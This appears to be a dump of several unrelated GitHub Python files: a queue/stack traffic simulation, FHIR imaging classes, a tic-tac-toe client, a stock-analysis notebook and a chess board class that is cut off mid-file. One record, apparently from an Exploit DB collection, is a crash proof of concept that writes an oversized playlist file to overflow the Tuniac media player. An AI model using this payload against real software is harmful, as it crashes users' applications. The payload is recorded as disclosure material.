self.proximo = proximo_nodo\r\n\r\n #Printa o nodo e seu proximo\r\n def __repr__(self):\r\n return '%s -> %s' %(self.dado,self.proximo)\r\n\r\n#Classe Nodo de uma estrutura duplamente encadeada(usado na pilha)\r\nclass Nodo2:\r\n def __init__(self, dado=0, nodo_anterior=None):\r\n self.dado = dado\r\n self.anterior = nodo_anterior\r\n\r\n def __repr__(self):\r\n return '%s -> %s' % (self.dado, self.anterior)\r\n\r\n#Fila usando estrutura encadeada\r\nclass Fila:\r\n def __init__(self):\r\n self.primeiro = None\r\n self.ultimo = None\r\n \r\n #Printa a fila, repr retorna a representação como string\r\n def __repr__(self):\r\n return \"[\" + str(self.primeiro) + \"]\"\r\n \r\n #Método inserir, insere no final por ser uma fila\r\n def insere(self, novo_dado):\r\n \r\n #Criação de um novo nodo com um dado para ser armazenado\r\n novo_nodo = Nodo(novo_dado)\r\n \r\n #Se a fila estiver vazia, insere\r\n if self.primeiro == None:\r\n self.primeiro = novo_nodo\r\n self.ultimo = novo_nodo\r\n else:\r\n #Define o nodo novo como o ultimo elemento da fila\r\n self.ultimo.proximo = novo_nodo\r\n #Define que o último elemento da fila aponte para o novo nodo\r\n self.ultimo = novo_nodo\r\n \r\n #Método remover, remove no início por ser uma fila\r\n def remove(self):\r\n assert self.primeiro != None, \"Rua já está vazia.\"\r\n self.primeiro = self.primeiro.proximo\r\n if self.primeiro == None:\r\n self.ultimo = None\r\n\r\n#Pilha usando estrutura encadeada\r\nclass Pilha:\r\n def __init__(self):\r\n self.topo = None\r\n #Imprime a pilha numa representação de string\r\n def __repr__(self):\r\n return \"[\" + str(self.topo) + \"]\"\r\n\r\n def insere(self, novo_dado):\r\n \r\n # Cria um novo nodo com o dado a ser armazenado.\r\n novo_nodo = Nodo2(novo_dado)\r\n \r\n # Faz com que o novo nodo seja o topo da pilha.\r\n novo_nodo.anterior = self.topo\r\n \r\n # Faz com que a cabeça da lista referencie o novo nodo.\r\n self.topo = novo_nodo\r\n \r\n\r\n def remove(self):\r\n\r\n assert self.topo, \"Impossível remover valor de pilha vazia.\"\r\n\r\n self.topo = self.topo.anterior\r\n\r\n#Cria uma fila\r\npista1 = Fila()\r\npista2 = Fila()\r\n\r\n#Distribuição de 10 carros de maneira aleatória entra as pistas 1 e 2\r\nfor i in range(10):\r\n x=random.randint(1,2)\r\n \r\n if x==1:\r\n pista1.insere(f\"\\033[1;96mcarro {i+1}\\033[1;96m\")\r\n print(f\"\\033[0;0mCarro {i+1} entrando na pista {x}:\t\\033[0;0m {pista1}\")\r\n time.sleep(random.randint(1,5)) #Tempo aleatório de 0 a 5 segundos para os carros entrarem nas pistas\r\n \r\n else:\r\n pista2.insere(f\"\\033[1;95mcarro {i+1}\\033[1;95m\")\r\n print(f\"\\033[0;0mCarro {i+1} entrando na pista {x}:\t\\033[0;0m {pista2}\")\r\n time.sleep(random.randint(1,5))\r\n \r\nprint('\\n') \r\n\r\n#While \"master\", condição que faz os semáforos 1 e 2 funcionarem até que ambas as filas estejam vazias\r\nwhile True: \r\n sinal1=True\r\n sinal2=True\r\n \r\n count = 0\r\n while sinal1: #Semáforo pista 1\r\n\r\n if count < 5: #condição menor que 5 conta os 10 segundos com o sinal verde, pois para os carros saírem leva-se 2 segundos cada. \r\n #Sendo assim, é permitido apenas 5 carros saírem da fila a cada vez que o sinal abre já que 2*5=10.\r\n print(\"\\033[42;1m--green light on (Semáforo 1)--\\033[0m\")\r\n if pista1.primeiro != None: #condição que verifica se a pista1 está vazia, se não, o primeiro da fila é liberado.\r\n time.sleep(2)\r\n pista1.remove()\r\n print(f\"Carro saiu da pista 1: {pista1}\")\r\n \r\n elif count < 10: #condição que representa o sinal vermelho\r\n print(\"\\n\\033[41;1m--red light on (Semáforo 1)--\\033\\n[0m\")\r\n break #caso true, o brake indica que o sinal2 foi aberto e este foi fechado.\r\n \r\n time.sleep(1) #tempo para visualização no terminal.\r\n count += 1 #incrementa-se o contador.\r\n \r\n count = 0 \r\n while sinal2: #Semáforo pista 2\r\n \r\n if count < 5: #condição menor que 5 conta os 10 segundos com o sinal verde, pois para os carros saírem leva-se 2 segundos cada. \r\n #Sendo assim, é permitido apenas 5 carros saírem da fila a cada vez que o sinal abre já que 2*5=10.\r\n print(\"\\033[42;1m--green light on (Semáforo 2)--\\033[0m\")\r\n if pista2.primeiro != None: #condição que verifica se a pista2 está vazia, se não, o primeiro da fila é liberado.\r\n time.sleep(2)\r\n pista2.remove()\r\n print(f\"Carro saiu da pista 2: {pista2}\")\r\n \r\n elif count < 10: #condição que representa o sinal vermelho\r\n print(\"\\n\\033[41;1m--red light on (Semáforo 2)--\\033\\n[0m\")\r\n break #caso true, o brake indica que o sinal1 foi aberto e este foi fechado\r\n \r\n time.sleep(1) #tempo para visualização no terminal\r\n count += 1 #incremetando o contador\r\n \r\n if pista1.primeiro == None: #após o break do sinal2 o interpretador afere com o IF se ambas as pistas estão vazias\r\n if pista2.primeiro == None:\r\n print(\"\\033[1;33m--Todos os carros foram em direção ao estacionamento--\\n\\033[1;33m\")\r\n break #break que encerra o While \"master\", indicando que todos os carros saíram em direção ao estacionamento.\r\n\r\n#Cria Pilha\r\nestacionamento = Pilha()\r\n\r\n#Insere os carros no estacionamento,vale ressaltar que independente do nº do mesmo no estacionameto, aqui esse é estabelecido de acordo com a ordem de chegada.\r\nfor i in range(5):\r\n estacionamento.insere(f\"\\033[1;34mcarro {i+1}\\033[1;34m\")\r\n print(f\"\\033[0;0mCarro {i+1} entrando no estacionamento: \\033[0;0m{estacionamento}\")\r\n time.sleep(2)\r\n \r\nprint('\\n')\r\n\r\nprint(\"\\033[1;33m--O estacionamento está lotado.--\\n\\033[1;33m\")\r\nprint(estacionamento)\r\n\r\n#Diz qual dos carros sera removido aleatoriamente\r\ny=random.randint(1,5)\r\nprint(f\"\\033[0;0mO carro a ser removido é o carro\\033[0;0m {y}\\n\")\r\n\r\n#Remove o conjunto de carros e os devolve a pista 1 de acordo com o valor aleatorio gerado\r\nif(y == 1):\r\n print(\"Os carros a serem removidos antes do carro 1 são [carro2 -> carro3 -> carro4 -> carro5].\")\r\n for i in range(5):\r\n estacionamento.remove()\r\n time.sleep(2)\r\n pista1.insere(f\"\\033[1;96mcarro {i+1}\\033[1;96m\")\r\n print(f\"\\033[0;0mCarro {i+1} voltou para a pista 1:\\033[0;0m {pista1}\")\r\n\r\nelif(y == 2):\r\n print(\"Os carros a serem removidos antes do carro 2 são [carro3 -> carro4 -> carro5].\")\r\n for i in range(4):\r\n estacionamento.remove()\r\n time.sleep(2)\r\n pista1.insere(f\"\\033[1;96mcarro {i+3}\\033[1;96m\")\r\n print(f\"\\033[0;0mCarro {i+3} voltou para a pista 1:\\033[0;0m {pista1}\")\r\n\r\nelif(y == 3):\r\n print(\"Os carros a serem removidos antes do carro 3 são [carro4 -> carro5].\")\r\n for i in range(3):\r\n estacionamento.remove()\r\n time.sleep(2)\r\n pista1.insere(f\"\\033[1;96mcarro {5-i}\\033[1;96m\")\r\n print(f\"\\033[0;0mCarro {5-i} voltou para a pista 1:\\033[0;0m {pista1}\")\r\n\r\nelif(y == 4):\r\n print(\"O carro a ser removido antes do carro 4 é o [carro5].\")\r\n for i in range(2):\r\n estacionamento.remove()\r\n time.sleep(2)\r\n pista1.insere(f\"\\033[1;96mcarro {5-i}\\033[1;96m\")\r\n print(f\"\\033[0;0mCarro {5-i} voltou para a pista 1:\\033[0;0m {pista1}\")\r\n\r\nelse:\r\n print(\"O carro 5 é o último então pode sair direto.\")\r\n estacionamento.remove()\r\n time.sleep(2)\r\n pista1.insere(f\"\\033[1;96mcarro {5}\\033[1;96m\")\r\n print(f\"\\033[0;0mCarro {5} voltou para a pista 1:\\033[0;0m {pista1}\")\r\n\r\n","repo_name":"JPedroo/Estrutura-de-dados_FIFO-Fila-LIFO-Pilha-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8072,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"44087053308","text":"from .fhirbase import fhirbase\n\n\nclass ImagingManifest(fhirbase):\n \"\"\"\n A text description of the DICOM SOP instances selected in the\n ImagingManifest; or the reason for, or significance of, the selection.\n\n Args:\n resourceType: This is a ImagingManifest resource\n identifier: Unique identifier of the DICOM Key Object Selection (KOS)\n that this resource represents.\n patient: A patient resource reference which is the patient subject of\n all DICOM SOP Instances in this ImagingManifest.\n authoringTime: Date and time when the selection of the referenced\n instances were made. It is (typically) different from the creation\n date of the selection resource, and from dates associated with the\n referenced instances (e.g. capture time of the referenced image).\n author: Author of ImagingManifest. It can be a human author or a\n device which made the decision of the SOP instances selected. For\n example, a radiologist selected a set of imaging SOP instances to\n attach in a diagnostic report, and a CAD application may author a\n selection to describe SOP instances it used to generate a detection\n conclusion.\n description: Free text narrative description of the ImagingManifest.\n The value may be derived from the DICOM Standard Part 16, CID-7010\n descriptions (e.g. Best in Set, Complete Study Content). Note that\n those values cover the wide range of uses of the DICOM Key Object\n Selection object, several of which are not supported by\n ImagingManifest. Specifically, there is no expected behavior\n associated with descriptions that suggest referenced images be removed\n or not used.\n study: Study identity and locating information of the DICOM SOP\n instances in the selection.\n \"\"\"\n\n __name__ = 'ImagingManifest'\n\n def __init__(self, dict_values=None):\n self.resourceType = 'ImagingManifest'\n # type: str\n # possible values: ImagingManifest\n\n self.patient = None\n # reference to Reference: identifier\n\n self.authoringTime = None\n # type: str\n\n self.author = None\n # reference to Reference: identifier\n\n self.description = None\n # type: str\n\n self.study = None\n # type: list\n # reference to ImagingManifest_Study\n\n self.identifier = None\n # reference to Identifier\n\n if dict_values:\n self.set_attributes(dict_values)\n self.assert_type()\n\n def get_relationships(self):\n\n return [\n {'parent_entity': 'Reference',\n 'parent_variable': 'identifier',\n 'child_entity': 'ImagingManifest',\n 'child_variable': 'author'},\n\n {'parent_entity': 'ImagingManifest_Study',\n 'parent_variable': 'object_id',\n 'child_entity': 'ImagingManifest',\n 'child_variable': 'study'},\n\n {'parent_entity': 'Reference',\n 'parent_variable': 'identifier',\n 'child_entity': 'ImagingManifest',\n 'child_variable': 'patient'},\n\n {'parent_entity': 'Identifier',\n 'parent_variable': 'object_id',\n 'child_entity': 'ImagingManifest',\n 'child_variable': 'identifier'},\n ]\n\n\nclass ImagingManifest_Study(fhirbase):\n \"\"\"\n A text description of the DICOM SOP instances selected in the\n ImagingManifest; or the reason for, or significance of, the selection.\n\n Args:\n uid: Study instance UID of the SOP instances in the selection.\n imagingStudy: Reference to the Imaging Study in FHIR form.\n endpoint: The network service providing access (e.g., query, view, or\n retrieval) for the study. See implementation notes for information\n about using DICOM endpoints. A study-level endpoint applies to each\n series in the study, unless overridden by a series-level endpoint with\n the same Endpoint.type.\n series: Series identity and locating information of the DICOM SOP\n instances in the selection.\n \"\"\"\n\n __name__ = 'ImagingManifest_Study'\n\n def __init__(self, dict_values=None):\n self.uid = None\n # type: str\n\n self.imagingStudy = None\n # reference to Reference: identifier\n\n self.endpoint = None\n # type: list\n # reference to Reference: identifier\n\n self.series = None\n # type: list\n # reference to ImagingManifest_Series\n\n self.object_id = None\n # unique identifier for object class\n\n if dict_values:\n self.set_attributes(dict_values)\n\n def get_relationships(self):\n\n return [\n {'parent_entity': 'Reference',\n 'parent_variable': 'identifier',\n 'child_entity': 'ImagingManifest_Study',\n 'child_variable': 'endpoint'},\n\n {'parent_entity': 'Reference',\n 'parent_variable': 'identifier',\n 'child_entity': 'ImagingManifest_Study',\n 'child_variable': 'imagingStudy'},\n\n {'parent_entity': 'ImagingManifest_Series',\n 'parent_variable': 'object_id',\n 'child_entity': 'ImagingManifest_Study',\n 'child_variable': 'series'},\n ]\n\n\nclass ImagingManifest_Series(fhirbase):\n \"\"\"\n A text description of the DICOM SOP instances selected in the\n ImagingManifest; or the reason for, or significance of, the selection.\n\n Args:\n uid: Series instance UID of the SOP instances in the selection.\n endpoint: The network service providing access (e.g., query, view, or\n retrieval) for this series. See implementation notes for information\n about using DICOM endpoints. A series-level endpoint, if present, has\n precedence over a study-level endpoint with the same Endpoint.type.\n instance: Identity and locating information of the selected DICOM SOP\n instances.\n \"\"\"\n\n __name__ = 'ImagingManifest_Series'\n\n def __init__(self, dict_values=None):\n self.uid = None\n # type: str\n\n self.endpoint = None\n # type: list\n # reference to Reference: identifier\n\n self.instance = None\n # type: list\n # reference to ImagingManifest_Instance\n\n self.object_id = None\n # unique identifier for object class\n\n if dict_values:\n self.set_attributes(dict_values)\n\n def get_relationships(self):\n\n return [\n {'parent_entity': 'ImagingManifest_Instance',\n 'parent_variable': 'object_id',\n 'child_entity': 'ImagingManifest_Series',\n 'child_variable': 'instance'},\n\n {'parent_entity': 'Reference',\n 'parent_variable': 'identifier',\n 'child_entity': 'ImagingManifest_Series',\n 'child_variable': 'endpoint'},\n ]\n\n\nclass ImagingManifest_Instance(fhirbase):\n \"\"\"\n A text description of the DICOM SOP instances selected in the\n ImagingManifest; or the reason for, or significance of, the selection.\n\n Args:\n sopClass: SOP class UID of the selected instance.\n uid: SOP Instance UID of the selected instance.\n \"\"\"\n\n __name__ = 'ImagingManifest_Instance'\n\n def __init__(self, dict_values=None):\n self.sopClass = None\n # type: str\n\n self.uid = None\n # type: str\n\n self.object_id = None\n # unique identifier for object class\n\n if dict_values:\n self.set_attributes(dict_values)\n","repo_name":"thakur-amrita/Cardea","sub_path":"cardea/fhir/ImagingManifest.py","file_name":"ImagingManifest.py","file_ext":"py","file_size_in_byte":7720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"3508696515","text":"class Context(object):\n \"\"\"Class to hold context about a the current code review and checkout.\"\"\"\n def __init__(self, rietveld, checkout, status, server_hooks_missing=False):\n \"\"\"\n Args:\n rietveld: Instance of rietveld.Rietveld.\n checkout: Instance of checkout.SvnCheckout\n status: Instance of async_push.AsyncPush.\n server_hooks_missing: True if the project's SVN repository does not have\n server-side hooks configured.\n \"\"\"\n self.rietveld = rietveld\n self.checkout = checkout\n self.status = status\n self.server_hooks_missing = server_hooks_missing\n","repo_name":"sunny-bay/chromium30","sub_path":"commit-queue/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40251341867","text":"n = int(input())\nnums = list(map(int, input().split()))\n\n# Top Down, TC: O(N) SC: O(N) + O(N) (Recursion stack with dp array)\ndp1 = [-1] * n\ndef topDown(idx):\n if idx == n-1: return nums[idx]\n if idx >= n: return 0\n if dp1[idx] != -1: return dp1[idx]\n\n pick = nums[idx] + topDown(idx+2)\n not_pick = topDown(idx+1)\n return max(pick, not_pick)\n\n# print(topDown(0))\n\n# Top Down, TC: O(N) SC: O(N)\ndef bottomUp():\n dp2 = [-1] * n\n dp2[-1] = nums[-1]\n for i in range(n-2, -1, -1):\n pick = nums[i]\n if i+2 < n:\n pick += dp2[i+2]\n not_pick = dp2[i+1]\n dp2[i] = max(pick, not_pick) \n return dp2[0]\n\n# print(bottomUp())\n\n# Top Down, TC: O(N) SC: O(1)\ndef bottomUpWithTabulation():\n prev = nums[-1]\n prev2 = 0\n\n for i in range(n-2, -1, -1):\n pick = nums[i]\n if i+2 < n:\n pick += prev2\n not_pick = prev\n curr = max(pick, not_pick)\n prev, prev2 = curr, prev\n return prev\n\nprint(bottomUpWithTabulation())","repo_name":"Naboni/Competitive-Programming","sub_path":"houseRobber.py","file_name":"houseRobber.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21154332556","text":"import time\nimport random\n\nprint(\"Try to influence the direction of the X on this line\")\nprint(\"----------X----------\")\ntime.sleep(0.4)\ndirection = input(\"Type 'positive' for right or 'negative' for left\\n\")\ndirection.lower()\nwhile direction !='positive' or direction !='negative': \n if direction == 'positive':\n print()\n break\n elif direction == 'negative':\n print()\n break\n else:\n print(\"Try to influence the outcome of random numbers.\")\n time.sleep(0.4)\n direction = input(\"Type 'positive' or 'negative'\\n\")\n\ntime.sleep(0.2)\nprint (\"You chose\", direction)\ntime.sleep(1)\nprint (\"Visualize your\", direction, \"energy.\")\ntime.sleep(1)\nprint (\"Get Ready!\")\ntime.sleep(0.5)\nprint(\"3\") \ntime.sleep(1)\nprint(\"2\") \ntime.sleep(1)\nprint(\"1\")\ntime.sleep(1)\nprint(\"Go\")\n\nposition = 10\nline = '-'*21\n\ndef adjustLine(roll):\n time.sleep(0.3)\n global position\n global line \n line = '-'*21\n line_list = list(line)\n position += roll\n line_list[ position] = 'X'\n line = \"\".join(line_list)\n return line\n\nfor x in range(10):\n print(adjustLine(1 if random.random() < 0.5 else -1))\n\ntime.sleep(0.4)\nprint(\"Calculating...\")\ntime.sleep(1)\nprint(\"..\")\ntime.sleep(1)\nif direction == 'positive' and position > 10 or direction == 'negative' and position < 10:\n print(\"You did it!\", \"\\nYour conscious efforts made the X move.\")\nelse:\n print(\"Your psychic powers need improvement!\")\n \n","repo_name":"johnschwarz/PsychicTest","sub_path":"PsyTest.py","file_name":"PsyTest.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74930025013","text":"import Pyro4\nimport os\nimport json\nimport base64\nimport client.model as modelMod\nimport typing as typ\n\nclass Client:\n def __init__(self, host, port, identifier = \"main-\"):\n self.host = host\n self.port = port\n self.identifier = identifier\n self.objects = dict()\n\n def Start(self, remoteObjects):\n for obj in remoteObjects:\n url = \"PYRONAME:%s%s@%s:%d\" % (self.identifier, obj, self.host, self.port)\n self.objects[obj] = Pyro4.Proxy(url)\n\n def GetObject(self, name):\n return self.objects[name]\n\n\nclass TicTacToeClient:\n\n def __init__(self, host: str, port: int, identifier=\"main-\", servers=[]):\n self.client = Client(host, port, identifier)\n self.servers = list()\n self.serverName = servers\n self.mainServer = None\n self.pawnType : int = None\n self.roomCode : int = None\n self.hashState : int = 0\n self.placementList : typ.Sequence[modelMod.Placement] = list()\n self.placementHistory : typ.Sequence[modelMod.Placement] = list()\n self.placementMap : typ.Dict[modelMod.Location, modelMod.Placement] = dict()\n self.refindServer(servers)\n\n def refindServer(self, servers: typ.Sequence[str]):\n self.client.Start(servers)\n for server in servers:\n serverProxy = self.client.GetObject(server)\n self.servers.append(serverProxy)\n\n def getRoomCode(self):\n return self.roomCode\n\n def placePawn(self, posX: int, posY: int) -> bool:\n server = self.getActiveServer()\n resp = server.placePawn(self.roomCode, posX, posY, self.pawnType)\n resp = self._parseResponse(resp)\n return resp is self.pawnType\n\n def createRoom(self):\n server = self.getActiveServer()\n resp = server.createRoom()\n self.roomCode = self._parseResponse(resp)\n self.joinRoom(self.roomCode)\n\n def joinRoom(self, code: int):\n server = self.getActiveServer()\n resp = server.joinRoom(code)\n self.pawnType = self._parseResponse(resp)\n self.roomCode = code\n \n def synchronize(self):\n server = self.getActiveServer()\n resp = server.listPlacement(self.hashState)\n parsedResp = self._parseResponse(resp)\n self.hashState = parsedResp[\"hashState\"]\n for rawPlacement in parsedResp[\"placements\"]:\n roomCode = rawPlacement[\"room\"][\"code\"]\n pawnType = rawPlacement[\"type\"]\n xPos = rawPlacement[\"location\"][\"x\"]\n yPos = rawPlacement[\"location\"][\"y\"]\n location = modelMod.Location(xPos, yPos)\n placement = modelMod.Placement(roomCode, pawnType, location)\n if roomCode == self.roomCode:\n self.placementHistory.append(placement)\n self.placementList.append(placement)\n self.placementMap[location] = placement\n\n def getActiveServer(self):\n if self.mainServer is not None:\n try:\n self.mainServer._pyroBind()\n return self.mainServer\n except Exception as e:\n self.mainServer = None\n\n if self.mainServer is None:\n deleteList = list()\n for server in self.servers:\n try:\n server._pyroBind()\n self.mainServer = server\n except Exception as e:\n print(str(e))\n deleteList.append(server)\n pass\n for delete in deleteList:\n try:\n self.servers.remove(delete)\n except:\n pass\n \n if self.mainServer is not None:\n return self.mainServer\n \n self.refindServer(self.serverName)\n\n if self.mainServer is None:\n deleteList = list()\n for server in self.servers:\n try:\n server._pyroBind()\n self.mainServer = server\n except Exception as e:\n print(str(e))\n deleteList.append(server)\n pass\n for delete in deleteList:\n try:\n self.servers.remove(delete)\n except:\n pass\n \n if self.mainServer is not None:\n return self.mainServer\n raise Exception(\"Failed To Connect to all server\")\n\n def getPawnAtCoordinate(self, xPos: int, yPos: int):\n location = modelMod.Location(xPos, yPos)\n if location in self.placementMap:\n return self.placementMap[location]\n return None\n\n def getPawnType(self) -> int:\n return self.pawnType\n\n def _parseResponse(self, response: str) -> typ.Any:\n result : typ.Dict[str, typ.Any] = json.loads(response)\n if \"error\" in result:\n raise Exception(result[\"error\"])\n return result[\"response\"]\n\n def getPlacementHistory(self) -> typ.Sequence[modelMod.Placement]:\n return self.placementHistory\n \n def getPlacement(self) -> typ.Sequence[modelMod.Placement]:\n return self.placementList","repo_name":"firmanmm/tic-tac-royale","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32579765838","text":"#!/usr/bin/env python\n# Tuniac v.090517c (.PLS) Crash PoC\n# By : zAx\n# http://sourceforge.net/projects/tuniac/files/tuniac/090517/Tuniac_Setup_090517c.exe/download\n\nbuffer = (\"[playlist]\\x0ANumberOfEntries=1\\x0AFile1=http://\" + \"\\x41\" * (10000));\n\nf = open('Crash_Poc.PLS','w');\nf.write(buffer);\nf.close();\n\n# milw0rm.com [2009-09-14]","repo_name":"ryanmrestivo/red-team","sub_path":"_Resources/Exploit DB 2021-12-11/exploits/windows/dos/9671.py","file_name":"9671.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"21"} +{"seq_id":"10690843180","text":"# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nfrom IPython import get_ipython\n\n# %%\nimport pandas as pd\nfrom pandas import Series, DataFrame\nimport numpy as np\n\n\n# %%\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_style('whitegrid')\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# %%\nfrom pandas_datareader import DataReader\n\n\n# %%\nfrom datetime import datetime\n\n\n# %%\nfrom __future__ import division\n\n# %% [markdown]\n# Congrats on finishing the Stock Market Data Analysis project! Here are some additional quesitons and excercises for you to do:\n# \n# 1.) Estimate the values at risk using both methods we learned in this project for a stock not related to technology.\n# \n# 2.) Build a practice portfolio and see how well you can predict you risk values with real stock information!\n# \n# 3.) Look further into correlatino of two stocks and see if that gives you any insight into future possible stock prices.\n\n# %%\nfood_list = ['WEAT','SOYB','CORN','CANE']\n\n\n# %%\nend = datetime.now()\n\nstart = datetime(end.year-1, end.month, end.day)\n\n\n# %%\nfor stock in food_list:\n globals()[stock] = DataReader(stock,data_source='yahoo',start=start,end=end)\n\n\n# %%\nWEAT.head()\n\n\n# %%\n# Moving Average\nma_day = [10,20,50]\n\nfor ma in ma_day:\n column_name = \"MA for %s days\" %(str(ma))\n WEAT[column_name] = WEAT['Adj Close'].rolling(ma).mean()\n\n\n# %%\nWEAT[['Adj Close','MA for 10 days','MA for 20 days','MA for 50 days']].plot(subplots=False,figsize=(10,4))\n\n\n# %%\nclosing_df = DataReader(food_list,'yahoo',start,end)['Adj Close']\n\n\n# %%\nclosing_df.head()\n\n\n# %%\nfood_rets = closing_df.pct_change()\n\n\n# %%\nfood_rets.head()\n\n\n# %%\nsns.jointplot(x='WEAT',y='CORN',data=food_rets,kind='scatter',color='seagreen')\n\n\n# %%\nsns.pairplot(food_rets.dropna())\n\n\n# %%\nreturns_fig = sns.PairGrid(food_rets.dropna())\n\nreturns_fig.map_upper(plt.scatter,color='purple')\n\nreturns_fig.map_lower(sns.kdeplot,cmap='cool_d')\n\nreturns_fig.map_diag(plt.hist,bins=30)\n\n\n# %%\nreturns_fig = sns.PairGrid(closing_df)\n\nreturns_fig.map_upper(plt.scatter,color='purple')\n\nreturns_fig.map_lower(sns.kdeplot,cmap='cool_d')\n\nreturns_fig.map_diag(plt.hist,bins=30)\n\n\n# %%\n# 1. Risk Analysis\nrets = food_rets.dropna()\n\n\n# %%\narea = np.pi*20\n\nplt.scatter(rets.mean(),rets.std(),s = area)\n\nplt.ylim([0.01,0.025])\nplt.xlim([-0.003,0.004])\n\nplt.xlabel('Expected Return')\nplt.ylabel('Risk')\n\nfor label, x, y in zip(rets.columns, rets.mean(), rets.std()):\n plt.annotate(\n label,\n xy= (x, y), xytext = (50, 50),\n textcoords = 'offset points', ha = 'right', va = 'bottom',\n arrowprops = dict(arrowstyle = '-', connectionstyle = 'arc3,rad=-0.3')\n )\n\n\n# %%\n# Predict future stock\ndays = 365\n\ndt = 1/days\n\nmu = rets.mean()['WEAT']\n\nsigma = rets.std()['WEAT']\n\n\n# %%\ndef stock_monte_carlo(start_price,days,mu,sigma):\n\n price = np.zeros(days)\n price[0] = start_price\n\n shock = np.zeros(days)\n drift = np.zeros(days)\n\n for x in range(1, days):\n\n shock[x] = np.random.normal(loc=mu*dt, scale=sigma*np.sqrt(dt))\n\n drift[x] = mu * dt\n\n price[x] = price[x-1] + (price[x-1] * (drift[x] + shock[x]))\n \n return price\n\n\n# %%\nWEAT.head()\n\n\n# %%\nstart_price = 5.42\n\n\n# %%\nruns = 10000\n\nsimulations = np.zeros(runs)\n\nfor run in range(runs):\n simulations[run] = stock_monte_carlo(start_price, days, mu, sigma)[days-1]\n\n\n# %%\nq = np.percentile(simulations, 1)\n\nplt.hist(simulations, bins=200)\n\n# Starting Price\nplt.figtext(0.6, 0.8, s='Start price: $%.2f' %start_price)\n# Mean ending price\nplt.figtext(0.6, 0.7, 'Mean final price: $%.2f' % simulations.mean())\n\n# Variance of the price (within 99% confidence interval)\nplt.figtext(0.6, 0.6, 'VaR(0.99): $%.2f' % (start_price - q,))\n\n# Display 1% quantile\nplt.figtext(0.15, 0.6, 'q(0.99): $%.2f' % q)\n\n# Plot a line at the 1% quantile result\nplt.axvline(x=q, linewidth=4, color='r')\n\n# Title\nplt.title(u'Final price distribution for Wheat Stock after %s days' % days, weight='bold')\n\n\n","repo_name":"abel672/python-data-analysis-visualization","sub_path":"Section-8-Example-Projects/01-Stock-Market-Analysis-Excercise.py","file_name":"01-Stock-Market-Analysis-Excercise.py","file_ext":"py","file_size_in_byte":4012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72797012854","text":"\n\n#Define clases\nclass Board:\n '''\n Initial state of the board\n '''\n def __init__(self):\n self.board = [\n ['br', 'bn', 'bb', 'bq', 'bk', 'bb', 'bn', 'br'],\n ['bp', 'bp', 'bp', 'bp', 'bp', 'bp', 'bp', 'bp'],\n ['--', '--', '--', '--', '--', '--', '--', '--'],\n ['--', '--', '--', '--', '--', '--', '--', '--'],\n ['--', '--', '--', '--', '--', '--', '--', '--'],\n ['--', '--', '--', '--', '--', '--', '--', '--'],\n ['wp', 'wp', 'wp', 'wp', 'wp', 'wp', 'wp', 'wp'],\n ['wr', 'wn', 'wb', 'wq', 'wk', 'wb', 'wn', 'wr'],\n ]\n self.white_to_move = True\n self.moves = []\n self.wk_position = (7, 4)\n self.bk_position = (0, 4)\n \n\n '''\n Takes a move and changes the state of the board making the move\n '''\n def make_move(self, move):\n self.board[move.start_row][move.start_col] = '--' #Changes the board state\n self.board[move.end_row][move.end_col] = move.piece_moved #Changes the board state\n self.white_to_move = not self.white_to_move #Changes the turn\n #Pawn promotion\n if move.end_row == 0 and move.piece_moved == 'wp':\n self.board[move.end_row][move.end_col] = 'wq'\n if move.end_row == 7 and move.piece_moved == 'bp':\n self.board[move.end_row][move.end_col] = 'bq'\n #Update kings position\n if move.piece_moved == 'wk':\n self.wk_position = (move.end_row, move.end_col)\n print(self.wk_position)\n if move.piece_moved == 'bk':\n self.bk_position = (move.end_row, move.end_col)\n self.moves.append(move)\n \n '''\n Undo the last move\n '''\n def undo_move(self, move):\n self.board[move.start_row][move.start_col] = move.piece_moved #Changes the board state\n self.board[move.end_row][move.end_col] = move.piece_captured #Changes the board state\n self.white_to_move = not self.white_to_move #Changes the turn\n self.moves.pop()\n\n '''\n Gets all the legal moves considering checks\n '''\n def get_valid_moves(self):\n #Generate all legal moves\n legal_moves = self.get_legal_moves()\n #For each move make the move\n for i in range(len(legal_moves)-1, -1, -1):\n move = legal_moves[i]\n self.make_move(move)\n #Generate all legal moves for the oponent\n oponents_moves = self.get_legal_moves()\n #See if any of them atack our king\n self.white_to_move = not self.white_to_move\n if self.in_check():\n legal_moves.remove(legal_moves[i]) #Remove move\n self.white_to_move = not self.white_to_move\n self.undo_move(move)\n return legal_moves \n\n '''\n Determin if a player is in check\n '''\n def in_check(self):\n if self.white_to_move:\n return self.square_under_attack(self.wk_position[0], self.wk_position[1])\n else:\n return self.square_under_attack(self.bk_position[0], self.bk_position[1])\n\n '''\n Determin if oponent can atack the square r, c\n '''\n def square_under_attack(self, r, c):\n self.white_to_move = not self.white_to_move\n oponents_move = self.get_legal_moves()\n self.white_to_move = not self.white_to_move\n for move in oponents_move:\n if move.end_row == r and move.end_col == c:\n return True\n return False\n\n '''\n Gets all the legal moves\n '''\n def get_legal_moves(self):\n legal_moves = []\n for r in range(0, 8):\n for c in range(0, 8):\n color = self.board[r][c][0]\n if (color == 'w' and self.white_to_move) or (color == 'b' and not self.white_to_move):\n piece = self.board[r][c][1]\n if piece == 'p':\n self.get_pawn_moves(r, c, legal_moves)\n if piece == 'k':\n self.get_king_moves(r, c, legal_moves)\n if piece == 'r':\n 